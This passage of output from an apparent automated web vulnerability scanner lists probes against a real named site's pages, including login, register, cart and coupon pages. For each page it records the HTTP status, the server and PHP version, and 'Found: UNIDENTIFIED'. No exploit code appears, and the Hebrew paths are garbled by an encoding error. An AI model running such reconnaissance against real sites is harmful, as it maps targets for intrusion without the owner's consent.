|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 28 / 100 ]-[05:18:59] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/cart/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 29 / 100 ]-[05:19:00] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/logbook/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 30 / 100 ]-[05:19:01] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/personal_details_coupon/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 31 / 100 ]-[05:19:01] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/register/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 32 / 100 ]-[05:19:02] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/תעו׀ה-מתקדמת-איךועים/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 33 / 100 ]-[05:19:02] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/login/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 34 / 100 ]-[05:19:03] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/׀לייבוקס-בתקשוךת/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 35 / 100 ]-[05:19:03] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/blog/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 36 / 100 ]-[05:19:04] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/forgot/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 37 / 100 ]-[05:19:04] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/health/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 38 / 100 ]-[05:19:04] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/׹ושים-לעוף-שוב/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 39 / 100 ]-[05:19:06] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/gift-packages/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 40 / 100 ]-[05:19:06] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/contact/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 41 / 100 ]-[05:19:07] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/unsubsribe/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 42 / 100 ]-[05:19:08] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/social-events/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 43 / 100 ]-[05:19:08] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/packages/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 44 / 100 ]-[05:19:09] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/upsells/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 45 / 100 ]-[05:19:10] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/תעו׀ה-מתקדמת-איךועים/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 46 / 100 ]-[05:19:10] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/מה-היא-×ž× ×”×š×ª-׹וח/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 47 / 100 ]-[05:19:11] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/blog/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 48 / 100 ]-[05:19:11] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/gallery-photos/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 49 / 100 ]-[05:19:12] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/gallery-videos/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 50 / 100 ]-[05:19:13] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/login/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 51 / 100 ]-[05:19:13] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/cart/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 52 / 100 ]-[05:19:15] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/contact/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 53 / 100 ]-[05:19:16] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/register/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 54 / 100 ]-[05:19:16] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/selected-package/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 55 / 100 ]-[05:19:17] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/health/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 56 / 100 ]-[05:19:19] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/logbook/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 57 / 100 ]-[05:19:19] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/ךישום-×œ× ×™×•×–×œ×˜×š/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 58 / 100 ]-[05:19:20] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/packages/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 59 / 100 ]-[05:19:21] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/test-popup/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 60 / 100 ]-[05:19:21] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/personal_details_coupon/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 403 Forbidden, Server: cloudflare  , IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 61 / 100 ]-[05:19:22] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/שובךים-2/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 62 / 100 ]-[05:19:23] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/שובךים/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 63 / 100 ]-[05:19:25] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/unsubsribe/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 64 / 100 ]-[05:19:26] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/custom-packages/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 65 / 100 ]-[05:19:26] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/gallery-press/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 66 / 100 ]-[05:19:27] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/forgot/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 67 / 100 ]-[05:19:28] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/category/news/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 68 / 100 ]-[05:19:28] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/choose-package/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 69 / 100 ]-[05:19:29] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/blackfriday/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 404 Not Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 70 / 100 ]-[05:19:29] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/contact-test/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 71 / 100 ]-[05:19:30] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/מה-היא-×ž× ×”×š×ª-׹וח/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 72 / 100 ]-[05:19:32] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/upsells/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 73 / 100 ]-[05:19:33] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/2016/12/04/אט׹קשיה-במ׹כז/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 74 / 100 ]-[05:19:33] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/applied-coupon/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 75 / 100 ]-[05:19:33] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/2016/11/25/אט׹קשיה-לכל-המש׀חה/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 76 / 100 ]-[05:19:34] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/2016/12/12/אטךק׊יות-לב׹-משווה/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 77 / 100 ]-[05:19:35] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/2016/12/04/אט׹קשיה-במ׹כז/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 78 / 100 ]-[05:19:35] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/test-popup/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 403 Forbidden, Server: cloudflare  , IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 79 / 100 ]-[05:19:36] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/tag/יום-גיבוש/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 80 / 100 ]-[05:19:37] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/gallery-photos/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 81 / 100 ]-[05:19:37] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/חולמים-לעוף-שוב/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 82 / 100 ]-[05:19:37] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/apply-gift-voucher/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 83 / 100 ]-[05:19:38] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/gallery-videos/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 84 / 100 ]-[05:19:40] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/שובךים-2/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 85 / 100 ]-[05:19:40] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/tag/×ž×ª× ×”-מקוךית/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 86 / 100 ]-[05:19:41] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/gallery-press/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 87 / 100 ]-[05:19:42] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/tag/ילדים-במ׹כז/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 88 / 100 ]-[05:19:43] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/custom-packages/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 89 / 100 ]-[05:19:44] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/tag/איךוע-חב׹ה/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 90 / 100 ]-[05:19:44] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/test-custom-packages/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 91 / 100 ]-[05:19:44] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/×ª×§× ×•×Ÿ-עמוד-תשלום/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 302 Found, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 92 / 100 ]-[05:19:45] [ - ] 
|_[ + ] Target:: [ https://www.flybox.co.il/en/category/news/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: cloudflare  X-Powered-By: PHP/7.0.13, IP:2400:cb00:2048:1::681f:4bef:443 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
